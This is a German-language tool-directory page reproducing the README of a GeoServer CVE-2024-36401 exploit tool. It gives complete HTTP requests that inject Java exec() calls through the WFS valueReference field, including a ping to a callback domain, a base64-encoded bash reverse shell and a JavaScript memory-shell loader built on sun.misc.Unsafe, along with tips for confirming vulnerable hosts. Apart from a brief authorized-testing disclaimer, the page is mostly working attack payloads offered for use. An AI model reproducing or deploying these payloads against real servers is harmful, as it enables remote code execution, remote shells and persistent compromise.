Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
geoserver- — geoserver CVE-2024-36401 Exploit-Tool | Kitploit
Tools/GitHubGitHub/ahisec/geoserver-
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 Exploit-Tool

Repository anzeigen
4681vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GeoServer CVE-2024-36401 Exploit-Tool

GeoServer CVE-2024-36401 – Umgebung: JDK8 – Hinweis: Nur für autorisierte Tests. Der Autor übernimmt keine Haftung für Missbrauch durch Benutzer. Bitte halten Sie sich an die geltenden Gesetze!

  1. Standard-Payload:
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>

Hier ist Folgendes zu beachten: <wfs:Query typeNames='sf:archsites'/>

Wenn Sie einen regulären Ausdruck verwenden möchten, um diesen Teil zu extrahieren – dies ist eine grundlegende Kennung der Website sf:archsites – müssen Sie zunächst die Information <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> abrufen und können diese dann per String-Konkatenation zusammensetzen.

Bei der Schwachstellenerkennung:

  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

Eigentlich muss man hier nicht einmal DNS-Logs prüfen.
Eine einfache Logik ist die Prüfung auf das Auftreten einer Ausnahmeklasse wie java.lang.ClassCastException.

Das ist natürlich nur eine Erkennungslogik.

Der Rückgabewert ist standardmäßig 400 – das ist eine häufige Fehlerfalle. Sie müssen nach der Fehlerseite in den Daten suchen.

Zuerst müssen Sie folgende Anfrage senden:

<wfs:ListStoredQueries service='WFS'
 version='2.0.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Diese Information gibt Ihnen die Möglichkeit, <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> zu erhalten.
Weisen Sie den Text zu, rufen Sie dann eine Funktion/Methode auf, die den extrahierten Teil des Textes in den Parameter <wfs:Query typeNames='sf:archsites'/> einfügt.

Dadurch wird die Erkennungslogik relativ präzise. Für den Erkennungs-Code genügt dieser Ansatz.

Wenn Sie immer nur <wfs:Query typeNames='sf:archsites'/> verwenden, ist die Fehlerkennungsrate hoch, da der Fehler Could not locate {http://www.openplans.org/spearfish}archsites in catalog. ausgegeben wird.

Reverse-Shell-Klasse

Betrachten wir das Reverse-Shell-Payload:

POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

Beachten Sie hier: <wfs:Query typeNames='sf:archsites'/>

Auch hier muss zuerst der Wert per Regex extrahiert und dann angehängt werden.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx ist die Base64-kodierte Version von bash -i >& /dev/tcp/127.0.0.1/9999 0>&1.

Bei der Implementierung wandeln Sie den vom Benutzer eingegebenen Befehl bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 in Base64 um.

Senden Sie die Anfrage und prüfen Sie wieder auf die entscheidende Ausnahmeklasse – das genügt für die Erkennungslogik.

MemShell-Injection-Klasse

Hier:

POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

Auch hier gibt es <wfs:Query typeNames='sf:archsites'/> – wie gewohnt erst den Wert holen.
Setzen Sie bei str den von Ihnen generierten Base64-kodierten MemShell-Code ein.
Dann die Erkennungslogik anwenden.

Häufige Fehlerquellen

  1. Die wiederholte Verwendung von <wfs:Query typeNames='sf:archsites'/> führt zu 98 % Fehlalarmen. Fehlermeldung z. B.:

    https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
    <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
    <ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
    

    Bei vorhandener Schwachstelle:

    <ows:Exception exceptionCode="NoApplicableCode">
    <ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
    class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
    </ows:Exception>
    

    Einfach ausgedrückt: Bei vorhandener Schwachstelle erscheint java.lang.ClassCastException.
    Bei Fehlalarm: Could not locate {http://www.openplans.org/spearfish}archsites in catalog.

  2. Erkennungsmethode:

    • Extrahiere den Wert aus <wfs:ReturnFeatureType>, weise ihn einem Text zu.
    • Rufe eine Funktion auf dem Text auf (um NullPointerException zu vermeiden, muss der Wert vorher gesetzt werden).
    • Füge ihn vor der Anfrage in die Anfrage ein.
    • Prüfe die Rückgabe auf die Ausnahmeklasse.

    So haben wir letztendlich dieses Exploit-Tool realisiert.

image

Testen wir die Schwachstelle.

Tool-Ausführungsergebnisse:

image

image

Hinweis: Keine Rückmeldung ist gleichbedeutend mit „keine Schwachstelle gefunden“; bei vorhandener Schwachstelle wird ein +-Zeichen angezeigt.

Tool herunterladen